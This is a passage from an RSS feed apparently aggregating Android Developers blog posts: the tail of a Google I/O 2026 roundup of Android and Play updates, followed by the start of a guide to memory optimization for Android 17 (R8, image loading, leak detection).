  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
